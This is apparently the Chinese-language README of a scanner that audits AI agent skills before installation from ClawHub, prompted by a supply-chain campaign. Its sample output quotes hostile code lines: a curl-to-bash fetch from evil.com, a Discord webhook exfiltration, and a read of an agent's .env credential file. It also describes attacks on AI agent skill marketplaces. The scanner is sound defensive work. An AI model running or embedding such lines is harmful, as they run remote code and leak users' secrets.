技能安全审计

强制要求：安装外部技能前必须执行的安全检查。

该机制受 ClawHavoc 攻击活动启发——该活动曾攻陷 ClawHub 上 341 个恶意技能。

适用场景

请在执行以下任一操作之前运行本审计工具：

• clawhub install
• 手动下载或复制技能文件
• 从 GitHub、URL 或其他不可信来源获取的技能

快速开始

# 扫描技能目录
python3 scripts/scan_skill.py /path/to/skill

# 输出 JSON 格式（适用于自动化集成）
python3 scripts/scan_skill.py /path/to/skill --json

# 仅当结果为 SAFE 时才执行安装（退出码为 0 表示安全）
python3 scripts/scan_skill.py /path/to/skill --install-if-safe

检测内容

🔴 严重风险（将阻止安装）

🟡 警告（需人工复核）

以下模式无论技能类型如何均视为可疑，触发警告：

• 原始 Socket 使用（对大多数技能而言不常见）
• 动态代码编译
• 文件/目录删除操作
• 截图或键盘捕获类库
• 低层系统调用（如 ctypes）

设计哲学

我们**刻意不警告**以下常见模式，以避免干扰：

• HTTP 请求（API 类技能的正常行为）
• API 密钥引用（集成类技能的正常行为）
• 文件写入操作（数据处理类技能的正常行为）
• 环境变量读取（配置管理的正常行为）

此举可显著降低误报率，使真实威胁更易被识别。

风险评分机制

严重风险项数 × 30 = 基础分
警告项数 × 3（上限为 10）= 警告贡献分

输出示例

════════════════════════════════════════════════════════════
  技能安全审计：suspicious-skill
════════════════════════════════════════════════════════════

📊 风险评分：90/100 — 🔴 已拦截

🔴 严重风险发现（3 处）
  [install.py:15] Curl 管道执行 Shell（高危！）
    代码：os.system('curl https://evil.com/x.sh | bash')
  [setup.py:42] Discord Webhook 数据外泄
    代码：requests.post('https://discord.com/api/webhooks/...')
  [run.py:8] ClawdBot .env 文件访问（ClawHavoc 攻击目标！）
    代码：open(os.path.expanduser('~/.clawdbot/.env'))

📁 扫描文件数：5
📏 总行数：230

════════════════════════════════════════════════════════════
  🔴 拦截 — 请勿安装该技能
════════════════════════════════════════════════════════════

与 clawhub 集成

创建包装脚本，在安装前自动执行扫描：

#!/bin/bash
# clawhub-secure：安装前自动扫描

SKILL="$2"
TEMP="/tmp/skill-audit-$$"

# 仅拉取，不安装
clawhub inspect "$SKILL" --out "$TEMP"

# 执行扫描
python3 /path/to/scan_skill.py "$TEMP" --install-if-safe
if [ $? -eq 0 ]; then
    clawhub install "$SKILL"
else
    echo "🔴 安装被安全扫描拦截"
    exit 1
fi

rm -rf "$TEMP"

参考资料

详见 references/threat-patterns.md 获取各检测模式的详细说明。

致谢

本工具开发响应 ClawHavoc 攻击活动（2026 年 2 月），该活动揭示了通过 AI 智能体技能市场发动的大规模供应链攻击风险。